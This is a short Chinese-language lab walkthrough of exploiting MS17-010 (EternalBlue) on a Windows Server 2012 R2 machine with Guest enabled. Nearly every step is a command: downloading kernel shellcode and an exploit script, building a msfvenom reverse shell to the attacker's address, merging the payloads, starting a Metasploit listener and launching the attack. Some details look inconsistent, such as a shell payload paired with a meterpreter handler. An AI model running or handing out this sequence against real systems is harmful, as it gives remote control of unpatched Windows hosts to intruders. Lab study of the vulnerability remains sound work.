环境
攻击机:192.168.2.110 > kali
靶机:192.168.2.112 > windows2012 R2 64(启用了Guest)
工具
• NASM - http://www.nasm.us/
• Python v2.7 - https://www.python.org/download/releases/2.7/
• Metasploit Framework - https://github.com/rapid7/metasploit-framework
步骤
1.从以下链接可以获得由Sleepya开发的内核shellcode
wget https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x64.asm
2.我们使用以下命令来保存.asm文件,并使用NASM来编译,其命令为:
nasm -f bin eternalblue_kshellcode_x64.asm
3.TCP生成反向shell
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=192.168.2.110 lPORT=4444
4.Shellcode前加上eternalblue内核,形成新的攻击载荷
cat eternalblue_kshellcode_x64 shell_msf.bin > reverse_shell.bin
5.下载漏洞利用的python程序(windows server 2012)
wget https://raw.githubusercontent.com/worawit/MS17-010/master/eternalblue_exploit8.py
6.msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.2.110
set LPORT 4444
exploit
7.修改eternalblue_exploit8.py中的以下代码,设置登陆信息
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME='Guest'
PASSWORD=''
8.运行eternalblue_exploit8.py,执行以下代码,启动攻击
python eternalblue_exploit8.py 192.168.2.112 reverse_shell.bin 500
9.在metaspoilt上得到反弹结果,得到Windows的控制